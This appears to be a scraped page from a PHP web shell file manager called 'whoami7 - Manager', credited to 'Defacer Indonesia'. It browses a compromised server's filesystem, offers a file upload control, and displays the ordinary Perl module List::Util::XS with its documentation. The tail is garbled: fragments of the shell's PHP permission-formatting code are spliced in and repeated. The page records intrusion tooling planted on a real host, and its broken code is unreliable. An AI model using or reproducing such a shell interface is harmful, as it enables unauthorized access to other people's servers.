whoami7 - Manager

: /proc/thread-self/root/lib64/perl5/vendor_perl/List/Util/ Upload File: files >> //proc/thread-self/root/lib64/perl5/vendor_perl/List/Util/XS.pm package List::Util::XS; use strict; use warnings; use List::Util; our $VERSION = "1.49"; # FIXUP $VERSION = eval $VERSION; # FIXUP 1; __END__ =head1 NAME List::Util::XS - Indicate if List::Util was compiled with a C compiler =head1 SYNOPSIS use List::Util::XS 1.20; =head1 DESCRIPTION C<List::Util::XS> can be used as a dependency to ensure List::Util was installed using a C compiler and that the XS version is installed. During installation C<$List::Util::XS::VERSION> will be set to C<undef> if the XS was not compiled. Starting with release 1.23_03, Scalar-List-Util is B<always> using the XS implementation, but for backwards compatibility, we still ship the C<List::Util::XS> module which just loads C<List::Util>. =head1 SEE ALSO L<Scalar::Util>, L<List::Util>, L<List::MoreUtils> =head1 COPYRIGHT Copyright (c) 2008 Graham Barr <gbarr@pobox.com>. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>